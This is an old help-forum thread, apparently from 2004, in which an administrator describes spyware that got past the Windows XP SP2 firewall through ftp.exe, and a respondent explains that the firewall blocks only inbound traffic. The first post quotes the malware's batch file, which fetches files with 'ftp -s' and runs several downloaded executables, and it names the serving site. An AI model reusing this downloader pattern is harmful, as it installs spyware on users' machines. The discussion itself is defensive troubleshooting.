XP SP2 allows ftp.exe access to the internet.

[Guest]

I have some issues with sp2 and the firewall. I have it set to not allow
exceptions yet ftp.exe can still access the internet. I know this because it
can run this spyware installing batch file ..

if not exist C:\WINDOWSstatuslog ftp -s
if exist newdevin.exe newdevin.exe
if exist istinstall_154074.exe istinstall_154074.exe
if exist 06wu29rd.exe 06wu29rd.exe
if exist sd.exe sd.exe
if exist 449166.exe 449166.exe
if exist dp807615.exe dp807615.exe

This is being circulated thru banner adds and has infected several of my
clients machines. This came from
http://www.freevegasclubs.....com/serve.cgi?1 I added some dots..do not click
thru it! after the .bat downloads itself, it runs and the firewall lets it
happen. I have installed zone alarm and it catches it and lets me block
ftp.exe from accessing the net. I tried to rename ftp.exe and it just pops
right back up, thanks bill

 

[Lanwench [MVP - Exchange]]

The XP firewall doesn't block outbound connections - just inbound. You're
probably better off sticking with ZA, aside from also also using a perimeter
firewall to protect your whole network....but I'd also have to wonder what
kind of antivirus software you're using (centralized? updated automatically
every hour if possible) and whether your users have admin rights for some
reason...

 

[Guest]

Thank you for the information on the firewall, I do not know why I thought
the new firewall blocked outgoing connection. We have an ISA server
protecting the perimiter network from inbound traffic and outbound traffic on
non standard ports. We have current antivirus thru norton 2004 with defs
dated 9-28-2004 (it cought 2 of the files as trojans) but let the rest
execute. To the browsers credit it did ask if we wanted to let the serve.hta
run which 99% of all user would promptly click thru... Anyway, I have a
handle on it now, thank you.

-Ken